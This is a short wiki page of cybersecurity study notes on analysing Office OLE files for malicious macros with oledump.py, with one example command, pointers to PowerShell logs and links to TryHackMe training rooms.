  1. Oledump (oledump.py) is an excellent tool written in Python by Didier Stevens, which helps you analyze OLE (Compound File Binary Format) files. You can think of OLE files as 'a mini file system' or similar to a Zip archive. Applications such as MS Office with extensions .doc, .xls, .ppt are known as OLE files. Malicious actors can abuse macros to hide malicious commands/scripts within Excel and Word documents.

oledump.py [FILENAME] -s 8 -S dumps stream 8 strings

Powershell logs can view via Event Viewer, or Full Event Log View (by NirSoft)

More rooms:

  1. https://tryhackme.com/jr/investigatingwindows2
  2. https://tryhackme.com/jr/investigatingwindows3
  3. https://tryhackme.com/jr/powershellforpentesters
projects/cybersecurity/basics.txt · Last modified: 19 months ago ( 2 May 2023) by 127.0.0.1